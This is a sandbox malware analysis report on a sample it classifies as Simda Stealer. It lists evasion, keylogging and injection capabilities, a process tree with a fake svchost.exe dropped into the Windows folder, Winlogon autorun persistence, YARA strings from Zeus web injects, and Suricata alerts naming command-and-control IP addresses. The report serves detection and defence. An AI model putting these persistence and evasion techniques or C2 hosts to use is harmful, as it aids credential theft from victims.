Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Bpfz752pYZ.exe

Overview

General Information

Sample name:Bpfz752pYZ.exe
renamed because original name is a hash value
Original sample name:5de240159b639483fb3674e6289e946e7c304293.exe
Analysis ID:1553809
MD5:a1699b125470c94380386d6c0cf106b3
SHA1:5de240159b639483fb3674e6289e946e7c304293
SHA256:d7db5171f51590f6eb1f7250eb75203b68ea0e9ba29a60457776338c5a9c9dc3
Tags:exeuser-NDA0E
Infos:

Detection

Simda Stealer
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Detected unpacking (creates a PE file in dynamic memory)
Detected unpacking (overwrites its own PE header)
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Simda Stealer
AI detected suspicious sample
Allocates memory in foreign processes
Checks if browser processes are running
Contains VNC / remote desktop functionality (version string found)
Contains functionality to behave differently if execute on a Russian/Kazak computer
Contains functionality to capture and log keystrokes
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to detect sandboxes (registry SystemBiosVersion/Date)
Contains functionality to infect the boot sector
Contains functionality to inject threads in other processes
Creates a thread in another existing process (thread injection)
Creates an undocumented autostart registry key
Drops PE files with benign system names
Drops executables to the windows directory (C:\Windows) and starts them
Found direct / indirect Syscall (likely to bypass EDR)
Found evasive API chain (may stop execution after checking volume information)
Found evasive API chain checking for user administrative privileges
Found stalling execution ending in API Sleep call
Injects a PE file into a foreign processes
Machine Learning detection for sample
Monitors registry run keys for changes
Moves itself to temp directory
Queries Google from non browser process on port 80
Queries random domain names (often used to prevent blacklisting and sinkholes)
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: System File Execution Location Anomaly
Tries to resolve many domain names, but no domain seems valid
Uses known network protocols on non-standard ports
Writes to foreign memory regions
Checks if the current process is being debugged
Connects to many different domains
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a connection to the internet is available
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to communicate with device drivers
Contains functionality to create system tasks
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to launch a process as a different user
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to record screenshots
Contains functionality to retrieve information about pressed keystrokes
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Executes massive DNS lookups (> 100)
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (might use process or thread times for sandbox detection)
Found large amount of non-executed APIs
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries the installation date of Windows
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion NT Autorun Keys Modification
Sigma detected: Uncommon Svchost Parent Process
Suricata IDS alerts with low severity for network traffic
Tries to disable installed Antivirus / HIPS / PFW
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • Bpfz752pYZ.exe (PID: 1596 cmdline: "C:\Users\user\Desktop\Bpfz752pYZ.exe" MD5: A1699B125470C94380386D6C0CF106B3)
    • svchost.exe (PID: 4888 cmdline: "C:\Windows\apppatch\svchost.exe" MD5: AA278E2717BFC5593B570B9CC3D1270A)
      • NcYLgtXIKJgHj.exe (PID: 1656 cmdline: "C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 3792 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1656 -s 704 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • NcYLgtXIKJgHj.exe (PID: 3000 cmdline: "C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 2788 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3000 -s 736 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • NcYLgtXIKJgHj.exe (PID: 616 cmdline: "C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 7992 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 616 -s 916 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • NcYLgtXIKJgHj.exe (PID: 3704 cmdline: "C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 8040 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3704 -s 712 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • NcYLgtXIKJgHj.exe (PID: 4828 cmdline: "C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
      • NcYLgtXIKJgHj.exe (PID: 5576 cmdline: "C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 940 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5576 -s 760 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • NcYLgtXIKJgHj.exe (PID: 4180 cmdline: "C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 4568 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4180 -s 992 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • NcYLgtXIKJgHj.exe (PID: 5376 cmdline: "C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 7744 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 696 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • NcYLgtXIKJgHj.exe (PID: 4836 cmdline: "C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 5344 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4836 -s 740 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • NcYLgtXIKJgHj.exe (PID: 936 cmdline: "C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 8364 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 936 -s 1444 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • NcYLgtXIKJgHj.exe (PID: 5720 cmdline: "C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • WerFault.exe (PID: 8488 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5720 -s 724 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • NcYLgtXIKJgHj.exe (PID: 6008 cmdline: "C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000006.00000002.2562028304.0000000001740000.00000040.00000001.00020000.00000000.sdmpWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x47df4:$a1: name=%s&port=%u
  • 0x475c8:$a2: data_inject
  • 0x4777c:$a3: keylog.txt
  • 0x4745d:$a4: User-agent: %s]]]
  • 0x47f44:$a5: %s\%02d.bmp
00000007.00000002.2554723271.0000000002FA0000.00000040.00000001.00020000.00000000.sdmpWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x48bf4:$a1: name=%s&port=%u
  • 0x483c8:$a2: data_inject
  • 0x4857c:$a3: keylog.txt
  • 0x4825d:$a4: User-agent: %s]]]
  • 0x48d44:$a5: %s\%02d.bmp
00000002.00000003.2644113860.0000000002D30000.00000004.00001000.00020000.00000000.sdmpWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x46bf4:$a1: name=%s&port=%u
  • 0x463c8:$a2: data_inject
  • 0x4657c:$a3: keylog.txt
  • 0x4625d:$a4: User-agent: %s]]]
  • 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2710293683.0000000002D30000.00000004.00001000.00020000.00000000.sdmpWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x46bf4:$a1: name=%s&port=%u
  • 0x463c8:$a2: data_inject
  • 0x4657c:$a3: keylog.txt
  • 0x4625d:$a4: User-agent: %s]]]
  • 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2651597551.0000000002D30000.00000004.00001000.00020000.00000000.sdmpWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x46bf4:$a1: name=%s&port=%u
  • 0x463c8:$a2: data_inject
  • 0x4657c:$a3: keylog.txt
  • 0x4625d:$a4: User-agent: %s]]]
  • 0x46d44:$a5: %s\%02d.bmp
Click to see the 118 entries

Unpacked PEs

SourceRuleDescriptionAuthorStrings
2.3.svchost.exe.2d30000.45.raw.unpackWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x46bf4:$a1: name=%s&port=%u
  • 0x463c8:$a2: data_inject
  • 0x4657c:$a3: keylog.txt
  • 0x4625d:$a4: User-agent: %s]]]
  • 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.ed00000.12.unpackWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x459f4:$a1: name=%s&port=%u
  • 0x451c8:$a2: data_inject
  • 0x4537c:$a3: keylog.txt
  • 0x4505d:$a4: User-agent: %s]]]
  • 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.62.unpackWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x459f4:$a1: name=%s&port=%u
  • 0x451c8:$a2: data_inject
  • 0x4537c:$a3: keylog.txt
  • 0x4505d:$a4: User-agent: %s]]]
  • 0x45b44:$a5: %s\%02d.bmp
25.2.NcYLgtXIKJgHj.exe.2f50000.2.raw.unpackWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x47df4:$a1: name=%s&port=%u
  • 0x475c8:$a2: data_inject
  • 0x4777c:$a3: keylog.txt
  • 0x4745d:$a4: User-agent: %s]]]
  • 0x47f44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.70.unpackWindows_Trojan_Zeus_e51c60d7Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.unknown
  • 0x459f4:$a1: name=%s&port=%u
  • 0x451c8:$a2: data_inject
  • 0x4537c:$a3: keylog.txt
  • 0x4505d:$a4: User-agent: %s]]]
  • 0x45b44:$a5: %s\%02d.bmp
Click to see the 222 entries

Sigma Signatures

System Summary

barindex
Sigma detected: Files With System Process Name In Unsuspected Locations
Source: File createdAuthor: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\Bpfz752pYZ.exe, ProcessId: 1596, TargetFilename: C:\Windows\apppatch\svchost.exe
Sigma detected: System File Execution Location Anomaly
Source: Process startedAuthor: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Windows\apppatch\svchost.exe", CommandLine: "C:\Windows\apppatch\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\apppatch\svchost.exe, NewProcessName: C:\Windows\apppatch\svchost.exe, OriginalFileName: C:\Windows\apppatch\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\Bpfz752pYZ.exe", ParentImage: C:\Users\user\Desktop\Bpfz752pYZ.exe, ParentProcessId: 1596, ParentProcessName: Bpfz752pYZ.exe, ProcessCommandLine: "C:\Windows\apppatch\svchost.exe", ProcessId: 4888, ProcessName: svchost.exe
Sigma detected: CurrentVersion NT Autorun Keys Modification
Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\system32\userinit.exe,C:\Windows\apppatch\svchost.exe,, EventID: 13, EventType: SetValue, Image: C:\Windows\apppatch\svchost.exe, ProcessId: 4888, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\userinit
Sigma detected: Uncommon Svchost Parent Process
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\apppatch\svchost.exe", CommandLine: "C:\Windows\apppatch\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\apppatch\svchost.exe, NewProcessName: C:\Windows\apppatch\svchost.exe, OriginalFileName: C:\Windows\apppatch\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\Bpfz752pYZ.exe", ParentImage: C:\Users\user\Desktop\Bpfz752pYZ.exe, ParentProcessId: 1596, ParentProcessName: Bpfz752pYZ.exe, ProcessCommandLine: "C:\Windows\apppatch\svchost.exe", ProcessId: 4888, ProcessName: svchost.exe
Sigma detected: Windows Processes Suspicious Parent Directory
Source: Process startedAuthor: vburov: Data: Command: "C:\Windows\apppatch\svchost.exe", CommandLine: "C:\Windows\apppatch\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\apppatch\svchost.exe, NewProcessName: C:\Windows\apppatch\svchost.exe, OriginalFileName: C:\Windows\apppatch\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\Bpfz752pYZ.exe", ParentImage: C:\Users\user\Desktop\Bpfz752pYZ.exe, ParentProcessId: 1596, ParentProcessName: Bpfz752pYZ.exe, ProcessCommandLine: "C:\Windows\apppatch\svchost.exe", ProcessId: 4888, ProcessName: svchost.exe

Suricata Signatures

TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2024-11-11T18:13:14.637457+010020229301A Network Trojan was detected4.245.163.56443192.168.2.662044TCP
2024-11-11T18:14:02.132036+010020229301A Network Trojan was detected20.12.23.50443192.168.2.656242TCP
TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2024-11-11T18:13:01.331145+010020181411A Network Trojan was detected44.221.84.10580192.168.2.649708TCP
2024-11-11T18:13:01.331712+010020181411A Network Trojan was detected18.208.156.24880192.168.2.649711TCP
2024-11-11T18:13:05.669775+010020181411A Network Trojan was detected3.94.10.3480192.168.2.658874TCP
2024-11-11T18:13:20.611365+010020181411A Network Trojan was detected52.34.198.22980192.168.2.652002TCP
TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2024-11-11T18:13:01.331145+010020377711A Network Trojan was detected44.221.84.10580192.168.2.649708TCP
2024-11-11T18:13:01.331712+010020377711A Network Trojan was detected18.208.156.24880192.168.2.649711TCP
2024-11-11T18:13:05.669775+010020377711A Network Trojan was detected3.94.10.3480192.168.2.658874TCP
2024-11-11T18:13:20.611365+010020377711A Network Trojan was detected52.34.198.22980192.168.2.652002TCP
TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2024-11-11T18:13:00.497567+010020210221A Network Trojan was detected1.1.1.153192.168.2.664197UDP
2024-11-11T18:13:35.488167+010020210221A Network Trojan was detected1.1.1.153192.168.2.650679UDP
2024-11-11T18:14:52.315432+010020210221A Network Trojan was detected1.1.1.153192.168.2.653979UDP
TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2024-11-11T18:13:01.308489+010028048521Malware Command and Control Activity Detected192.168.2.64971085.17.31.8280TCP
2024-11-11T18:13:01.323208+010028048521Malware Command and Control Activity Detected192.168.2.64971118.208.156.24880TCP
2024-11-11T18:13:01.323321+010028048521Malware Command and Control Activity Detected192.168.2.64970844.221.84.10580TCP
2024-11-11T18:13:01.341864+010028048521Malware Command and Control Activity Detected192.168.2.649709208.100.26.24580TCP
2024-11-11T18:13:01.347944+010028048521Malware Command and Control Activity Detected192.168.2.64970723.253.46.6480TCP
2024-11-11T18:13:01.419707+010028048521Malware Command and Control Activity Detected192.168.2.64971344.221.84.10580TCP
2024-11-11T18:13:01.449028+010028048521Malware Command and Control Activity Detected192.168.2.649709208.100.26.24580TCP
2024-11-11T18:13:01.552615+010028048521Malware Command and Control Activity Detected192.168.2.658860199.59.243.22780TCP
2024-11-11T18:13:01.608258+010028048521Malware Command and Control Activity Detected192.168.2.65886199.83.170.380TCP
2024-11-11T18:13:01.668891+010028048521Malware Command and Control Activity Detected192.168.2.6588623.94.10.3480TCP
2024-11-11T18:13:01.676303+010028048521Malware Command and Control Activity Detected192.168.2.658859188.114.96.380TCP
2024-11-11T18:13:01.724546+010028048521Malware Command and Control Activity Detected192.168.2.65886485.17.31.8280TCP
2024-11-11T18:13:01.813943+010028048521Malware Command and Control Activity Detected192.168.2.65886523.253.46.6480TCP
2024-11-11T18:13:01.832545+010028048521Malware Command and Control Activity Detected192.168.2.649712154.212.231.8280TCP
2024-11-11T18:13:02.202308+010028048521Malware Command and Control Activity Detected192.168.2.649712154.212.231.8280TCP
2024-11-11T18:13:02.572421+010028048521Malware Command and Control Activity Detected192.168.2.65886699.83.170.3443TCP
2024-11-11T18:13:03.080897+010028048521Malware Command and Control Activity Detected192.168.2.658867188.114.96.3443TCP
2024-11-11T18:13:03.442545+010028048521Malware Command and Control Activity Detected192.168.2.658859188.114.96.380TCP
2024-11-11T18:13:03.832367+010028048521Malware Command and Control Activity Detected192.168.2.658863199.191.50.8380TCP
2024-11-11T18:13:04.769913+010028048521Malware Command and Control Activity Detected192.168.2.658868188.114.96.3443TCP
2024-11-11T18:13:05.642224+010028048521Malware Command and Control Activity Detected192.168.2.65887013.248.169.4880TCP
2024-11-11T18:13:05.646846+010028048521Malware Command and Control Activity Detected192.168.2.6588743.94.10.3480TCP
2024-11-11T18:13:05.769791+010028048521Malware Command and Control Activity Detected192.168.2.658871188.114.96.380TCP
2024-11-11T18:13:06.077941+010028048521Malware Command and Control Activity Detected192.168.2.65887518.208.156.24880TCP
2024-11-11T18:13:06.462607+010028048521Malware Command and Control Activity Detected192.168.2.658877103.150.10.4880TCP
2024-11-11T18:13:07.771923+010028048521Malware Command and Control Activity Detected192.168.2.658877103.150.10.4880TCP
2024-11-11T18:13:08.078083+010028048521Malware Command and Control Activity Detected192.168.2.658879188.114.96.3443TCP
2024-11-11T18:13:08.496239+010028048521Malware Command and Control Activity Detected192.168.2.658871188.114.96.380TCP
2024-11-11T18:13:11.604926+010028048521Malware Command and Control Activity Detected192.168.2.658899188.114.96.3443TCP
2024-11-11T18:13:12.961856+010028048521Malware Command and Control Activity Detected192.168.2.65892764.225.91.7380TCP
2024-11-11T18:13:13.401820+010028048521Malware Command and Control Activity Detected192.168.2.66203544.221.84.10580TCP
2024-11-11T18:13:13.403376+010028048521Malware Command and Control Activity Detected192.168.2.66203476.223.67.18980TCP
2024-11-11T18:13:13.523144+010028048521Malware Command and Control Activity Detected192.168.2.662036103.224.212.21080TCP
2024-11-11T18:13:13.737443+010028048521Malware Command and Control Activity Detected192.168.2.662038103.224.182.25280TCP
2024-11-11T18:13:13.807991+010028048521Malware Command and Control Activity Detected192.168.2.662037154.85.183.5080TCP
2024-11-11T18:13:14.143551+010028048521Malware Command and Control Activity Detected192.168.2.662037154.85.183.5080TCP
2024-11-11T18:13:16.408689+010028048521Malware Command and Control Activity Detected192.168.2.66111264.225.91.7380TCP
2024-11-11T18:13:16.641080+010028048521Malware Command and Control Activity Detected192.168.2.65543672.52.179.17480TCP
2024-11-11T18:13:17.174275+010028048521Malware Command and Control Activity Detected192.168.2.65544272.52.179.17480TCP
2024-11-11T18:13:20.604330+010028048521Malware Command and Control Activity Detected192.168.2.65200252.34.198.22980TCP
2024-11-11T18:13:23.313714+010028048521Malware Command and Control Activity Detected192.168.2.65536844.221.84.10580TCP
2024-11-11T18:13:24.994411+010028048521Malware Command and Control Activity Detected192.168.2.649712154.212.231.8280TCP
2024-11-11T18:13:25.072707+010028048521Malware Command and Control Activity Detected192.168.2.66329299.83.170.380TCP
2024-11-11T18:13:25.108038+010028048521Malware Command and Control Activity Detected192.168.2.658859188.114.96.380TCP
2024-11-11T18:13:25.154690+010028048521Malware Command and Control Activity Detected192.168.2.66329385.17.31.8280TCP
2024-11-11T18:13:25.189398+010028048521Malware Command and Control Activity Detected192.168.2.649709208.100.26.24580TCP
2024-11-11T18:13:25.196354+010028048521Malware Command and Control Activity Detected192.168.2.66329423.253.46.6480TCP
2024-11-11T18:13:25.409596+010028048521Malware Command and Control Activity Detected192.168.2.649712154.212.231.8280TCP
2024-11-11T18:13:25.499222+010028048521Malware Command and Control Activity Detected192.168.2.649709208.100.26.24580TCP
2024-11-11T18:13:25.524137+010028048521Malware Command and Control Activity Detected192.168.2.663298199.59.243.22780TCP
2024-11-11T18:13:25.859716+010028048521Malware Command and Control Activity Detected192.168.2.66329999.83.170.3443TCP
2024-11-11T18:13:25.872635+010028048521Malware Command and Control Activity Detected192.168.2.66330285.17.31.8280TCP
2024-11-11T18:13:26.150072+010028048521Malware Command and Control Activity Detected192.168.2.66330523.253.46.6480TCP
2024-11-11T18:13:26.704377+010028048521Malware Command and Control Activity Detected192.168.2.663303188.114.96.3443TCP
2024-11-11T18:13:27.063539+010028048521Malware Command and Control Activity Detected192.168.2.658859188.114.96.380TCP
2024-11-11T18:13:28.835690+010028048521Malware Command and Control Activity Detected192.168.2.663317188.114.96.3443TCP
2024-11-11T18:13:29.172224+010028048521Malware Command and Control Activity Detected192.168.2.658877103.150.10.4880TCP
2024-11-11T18:13:29.383530+010028048521Malware Command and Control Activity Detected192.168.2.658871188.114.96.380TCP
2024-11-11T18:13:29.751222+010028048521Malware Command and Control Activity Detected192.168.2.658877103.150.10.4880TCP
2024-11-11T18:13:31.819056+010028048521Malware Command and Control Activity Detected192.168.2.663420188.114.96.3443TCP
2024-11-11T18:13:32.153310+010028048521Malware Command and Control Activity Detected192.168.2.658871188.114.96.380TCP
2024-11-11T18:13:35.478829+010028048521Malware Command and Control Activity Detected192.168.2.663440188.114.96.3443TCP
2024-11-11T18:13:36.456276+010028048521Malware Command and Control Activity Detected192.168.2.662037154.85.183.5080TCP
2024-11-11T18:13:36.603894+010028048521Malware Command and Control Activity Detected192.168.2.663471103.224.212.21080TCP
2024-11-11T18:13:36.688747+010028048521Malware Command and Control Activity Detected192.168.2.663472103.224.182.25280TCP
2024-11-11T18:13:37.366861+010028048521Malware Command and Control Activity Detected192.168.2.662037154.85.183.5080TCP
2024-11-11T18:13:37.730038+010028048521Malware Command and Control Activity Detected192.168.2.6634803.94.10.3480TCP
2024-11-11T18:13:37.730376+010028048521Malware Command and Control Activity Detected192.168.2.66348244.221.84.10580TCP
2024-11-11T18:13:37.730377+010028048521Malware Command and Control Activity Detected192.168.2.66348375.2.71.19980TCP
2024-11-11T18:13:37.917100+010028048521Malware Command and Control Activity Detected192.168.2.66348518.208.156.24880TCP
2024-11-11T18:13:38.055288+010028048521Malware Command and Control Activity Detected192.168.2.663484188.114.97.380TCP
2024-11-11T18:13:38.731382+010028048521Malware Command and Control Activity Detected192.168.2.663481199.191.50.8380TCP
2024-11-11T18:13:39.454604+010028048521Malware Command and Control Activity Detected192.168.2.66349075.2.71.199443TCP
2024-11-11T18:13:40.398222+010028048521Malware Command and Control Activity Detected192.168.2.663493188.114.97.3443TCP
2024-11-11T18:13:41.260279+010028048521Malware Command and Control Activity Detected192.168.2.663484188.114.97.380TCP
2024-11-11T18:13:41.266761+010028048521Malware Command and Control Activity Detected192.168.2.66351985.17.31.8280TCP
2024-11-11T18:13:41.278855+010028048521Malware Command and Control Activity Detected192.168.2.663518199.59.243.22780TCP
2024-11-11T18:13:41.305552+010028048521Malware Command and Control Activity Detected192.168.2.66352244.221.84.10580TCP
2024-11-11T18:13:41.308273+010028048521Malware Command and Control Activity Detected192.168.2.66351723.253.46.6480TCP
2024-11-11T18:13:41.312823+010028048521Malware Command and Control Activity Detected192.168.2.663521208.100.26.24580TCP
2024-11-11T18:13:41.590924+010028048521Malware Command and Control Activity Detected192.168.2.66352572.52.179.17480TCP
2024-11-11T18:13:41.723444+010028048521Malware Command and Control Activity Detected192.168.2.663520154.212.231.8280TCP
2024-11-11T18:13:42.148856+010028048521Malware Command and Control Activity Detected192.168.2.66417772.52.179.17480TCP
2024-11-11T18:13:44.500644+010028048521Malware Command and Control Activity Detected192.168.2.6505153.94.10.3480TCP
2024-11-11T18:13:44.831510+010028048521Malware Command and Control Activity Detected192.168.2.650517199.59.243.22780TCP
2024-11-11T18:13:44.831579+010028048521Malware Command and Control Activity Detected192.168.2.65051844.221.84.10580TCP
2024-11-11T18:13:44.832038+010028048521Malware Command and Control Activity Detected192.168.2.65051985.17.31.8280TCP
2024-11-11T18:13:44.858489+010028048521Malware Command and Control Activity Detected192.168.2.65052044.221.84.10580TCP
2024-11-11T18:13:44.886782+010028048521Malware Command and Control Activity Detected192.168.2.65052123.253.46.6480TCP
2024-11-11T18:13:44.924237+010028048521Malware Command and Control Activity Detected192.168.2.650522208.100.26.24580TCP
2024-11-11T18:13:44.927023+010028048521Malware Command and Control Activity Detected192.168.2.65052475.2.71.19980TCP
2024-11-11T18:13:44.928733+010028048521Malware Command and Control Activity Detected192.168.2.65052518.208.156.24880TCP
2024-11-11T18:13:45.253290+010028048521Malware Command and Control Activity Detected192.168.2.664008188.114.97.380TCP
2024-11-11T18:13:45.368432+010028048521Malware Command and Control Activity Detected192.168.2.650523154.212.231.8280TCP
2024-11-11T18:13:46.150235+010028048521Malware Command and Control Activity Detected192.168.2.65913775.2.71.199443TCP
2024-11-11T18:13:46.654538+010028048521Malware Command and Control Activity Detected192.168.2.65914085.17.31.8280TCP
2024-11-11T18:13:48.094253+010028048521Malware Command and Control Activity Detected192.168.2.659144199.59.243.22780TCP
2024-11-11T18:13:48.095790+010028048521Malware Command and Control Activity Detected192.168.2.65914844.221.84.10580TCP
2024-11-11T18:13:48.095867+010028048521Malware Command and Control Activity Detected192.168.2.65914344.221.84.10580TCP
2024-11-11T18:13:48.096802+010028048521Malware Command and Control Activity Detected192.168.2.65914975.2.71.19980TCP
2024-11-11T18:13:48.122409+010028048521Malware Command and Control Activity Detected192.168.2.659150208.100.26.24580TCP
2024-11-11T18:13:48.122414+010028048521Malware Command and Control Activity Detected192.168.2.65914523.253.46.6480TCP
